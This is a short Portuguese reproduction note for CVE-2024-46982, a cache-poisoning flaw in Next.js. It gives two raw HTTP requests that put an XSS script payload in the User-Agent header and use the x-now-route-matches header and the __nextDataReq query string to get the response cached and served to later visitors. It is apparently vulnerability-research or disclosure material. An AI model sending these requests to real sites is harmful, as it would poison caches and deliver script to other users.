
Reprodução de CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visite http://localhost:3000 (Requisição Normal) usando qualquer navegador web.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visite http://localhost:3000 (Requisição Normal) usando qualquer navegador web.

x-now-route-matches é um cabeçalho HTTP personalizado reconhecido pelo Next.js. Quando presente, o Next.js tratará a requisição HTTP como "SSG" (Geração de Site Estático), na qual a resposta HTTP pode ser armazenada em cache (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 é uma querystring reconhecida pelo Next.js. Quando presente, o Next.js tratará a requisição HTTP como "Recuperando __NEXT_DATA__".
O writeup completo pode ser encontrado na seção Credit